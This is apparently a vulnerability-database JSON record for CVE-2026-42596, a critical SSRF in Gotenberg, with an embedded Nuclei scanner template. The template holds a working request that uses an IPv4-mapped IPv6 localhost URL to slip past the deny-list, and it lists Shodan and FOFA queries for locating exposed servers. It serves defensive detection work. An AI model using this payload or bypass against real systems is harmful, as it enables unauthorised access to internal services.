{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-42596/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-42596/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-42596/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-42596/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-42596/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-42596"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-42596"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2026/CVE-2026-42596.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2026-42596\n\ninfo:\n  name: Gotenberg < 8.31.0 - Server-Side Request Forgery\n  author: str4k3r\n  severity: critical\n  description: |\n    Gotenberg before 8.31.0 is vulnerable to server-side request forgery (SSRF) due to insufficient validation of URLs in the downloadFrom API. An unauthenticated attacker can exploit the flaw by providing specially crafted IPv4-mapped IPv6 addresses (such as http://[::ffff:127.0.0.1]) that bypass the deny-list and allow access to internal resources. Fixed versions properly recognize these addresses and prevent such requests.\n  reference:\n    - https://github.com/gotenberg/gotenberg/security/advisories/GHSA-4vmc-gm8v-m35h\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-42596\n  classification:\n    cve-id: CVE-2026-42596\n    epss-score: 0.01589\n    epss-percentile: 0.75711\n    cvss-score: 9.8\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cwe-id: CWE-918\n    cpe: cpe:2.3:a:gotenberg:gotenberg:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    verified: true\n    shodan-query: \"Gotenberg\"\n    fofa-query: \"Gotenberg\"\n  tags: cve,cve2026,gotenberg,ssrf,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /forms/libreoffice/convert HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----testBoundary\n\n        ------testBoundary\n        Content-Disposition: form-data; name=\"downloadFrom\"\n\n        [{\"url\":\"http://[::ffff:127.0.0.1]:3000/health\"}]\n        ------testBoundary--\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"No 'Content-Disposition' header from 'http://[::ffff:127.0.0.1]:3000/health'\"\n\n      - type: status\n        status:\n          - 400\n# digest: 4a0a00473045022100ea963c189a908d090201e1c5a12184adf193b87a45a782868ac0101227250d71022036fa1c411a1ff5fbf453067a42988cdb5d29c59f2b8b7c7df14aff467d0f428f:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2026-42596"
}